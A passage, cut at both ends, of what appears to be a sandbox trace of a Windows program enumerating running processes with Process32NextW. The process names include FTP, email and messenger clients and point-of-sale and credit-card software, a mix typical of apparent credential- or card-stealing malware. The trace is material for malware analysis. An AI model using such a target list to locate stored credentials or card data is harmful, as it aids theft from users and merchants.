th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0158.412] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0158.412] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0158.412] lstrlenW (lpString="migration dying locations.exe") returned 29 [0158.412] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0158.413] lstrlenW (lpString="college-advance.exe") returned 19 [0158.413] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0158.413] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0158.413] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0158.414] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0158.414] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0158.414] lstrlenW (lpString="metallic.exe") returned 12 [0158.415] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0158.415] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0158.415] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0158.415] lstrlenW (lpString="brown parade bases.exe") returned 22 [0158.415] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0158.416] lstrlenW (lpString="specified wales.exe") returned 19 [0158.416] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0158.416] lstrlenW (lpString="inspiration.exe") returned 15 [0158.416] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0158.417] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0158.417] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0158.417] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0158.417] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0158.418] lstrlenW (lpString="classbuck.exe") returned 13 [0158.418] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0158.418] lstrlenW (lpString="x-deutschland.exe") returned 17 [0158.418] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0158.419] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0158.419] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0158.419] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0158.420] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0158.420] lstrlenW (lpString="lawsuit.exe") returned 11 [0158.420] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0158.421] lstrlenW (lpString="3dftp.exe") returned 9 [0158.421] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0158.421] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0158.421] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0158.421] lstrlenW (lpString="alftp.exe") returned 9 [0158.422] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0158.422] lstrlenW (lpString="barca.exe") returned 9 [0158.422] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0158.422] lstrlenW (lpString="bitkinex.exe") returned 12 [0158.423] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0158.423] lstrlenW (lpString="coreftp.exe") returned 11 [0158.423] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0158.424] lstrlenW (lpString="far.exe") returned 7 [0158.424] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0158.425] lstrlenW (lpString="filezilla.exe") returned 13 [0158.425] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0158.426] lstrlenW (lpString="flashfxp.exe") returned 12 [0158.426] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0158.427] lstrlenW (lpString="fling.exe") returned 9 [0158.427] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0158.427] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0158.427] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0158.428] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0158.428] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0158.429] lstrlenW (lpString="icq.exe") returned 7 [0158.429] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0158.880] lstrlenW (lpString="leechftp.exe") returned 12 [0158.880] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0158.881] lstrlenW (lpString="ncftp.exe") returned 9 [0158.881] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0158.881] lstrlenW (lpString="notepad.exe") returned 11 [0158.881] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0158.882] lstrlenW (lpString="operamail.exe") returned 13 [0158.882] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0158.883] lstrlenW (lpString="pidgin.exe") returned 10 [0158.883] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0158.883] lstrlenW (lpString="scriptftp.exe") returned 13 [0158.883] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0158.884] lstrlenW (lpString="skype.exe") returned 9 [0158.884] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0158.885] lstrlenW (lpString="smartftp.exe") returned 12 [0158.885] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0158.885] lstrlenW (lpString="thunderbird.exe") returned 15 [0158.885] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0158.886] lstrlenW (lpString="totalcmd.exe") returned 12 [0158.886] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0158.887] lstrlenW (lpString="trillian.exe") returned 12 [0158.887] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0158.887] lstrlenW (lpString="webdrive.exe") returned 12 [0158.888] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0158.888] lstrlenW (lpString="whatsapp.exe") returned 12 [0158.888] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0158.889] lstrlenW (lpString="winscp.exe") returned 10 [0158.889] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0158.889] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0158.889] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0158.890] lstrlenW (lpString="active-charge.exe") returned 17 [0158.890] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0158.891] lstrlenW (lpString="accupos.exe") returned 11 [0158.891] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0158.891] lstrlenW (lpString="afr38.exe") returned 9 [0158.891] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0158.892] lstrlenW (lpString="aldelo.exe") returned 10 [0158.892] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0158.893] lstrlenW (lpString="ccv_server.exe") returned 14 [0158.893] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0158.893] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0158.893] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0158.935] lstrlenW (lpString="creditservice.exe") returned 17 [0158.935] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0158.935] lstrlenW (lpString="edcsvr.exe") returned 10 [0158.936] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0158.936] lstrlenW (lpString="fpos.exe") returned 8 [0158.936] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0158.937] lstrlenW (lpString="isspos.exe") returned 10 [0158.937] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0158.937] lstrlenW (lpString="mxslipstream.exe") returned 16 [0158.937] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0158.938] lstrlenW (lpString="omnipos.exe") returned 11 [0158.938] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0158.939] lstrlenW (lpString="spcwin.exe") returned 10 [0158.939] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0158.939] lstrlenW (lpString="spgagentservice.exe") returned 19 [0158.939] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0158.940] lstrlenW (lpString="utg2.exe") returned 8 [0158.940] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0158.941] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0158.941] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0158.941] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0158.941] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.942] lstrlenW (lpString="svchost.exe") returned 11 [0158.942] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.942] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.942] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0158.943] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0158.943] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.943] lstrlenW (lpString="conhost.exe") returned 11 [0158.943] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0158.944] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0158.944] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.945] lstrlenW (lpString="conhost.exe") returned 11 [0158.945] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0158.945] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0158.945] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0158.946] lstrlenW (lpString="powershell.exe") returned 14 [0158.946] Process32NextW (in: hSnapshot=0x39c, 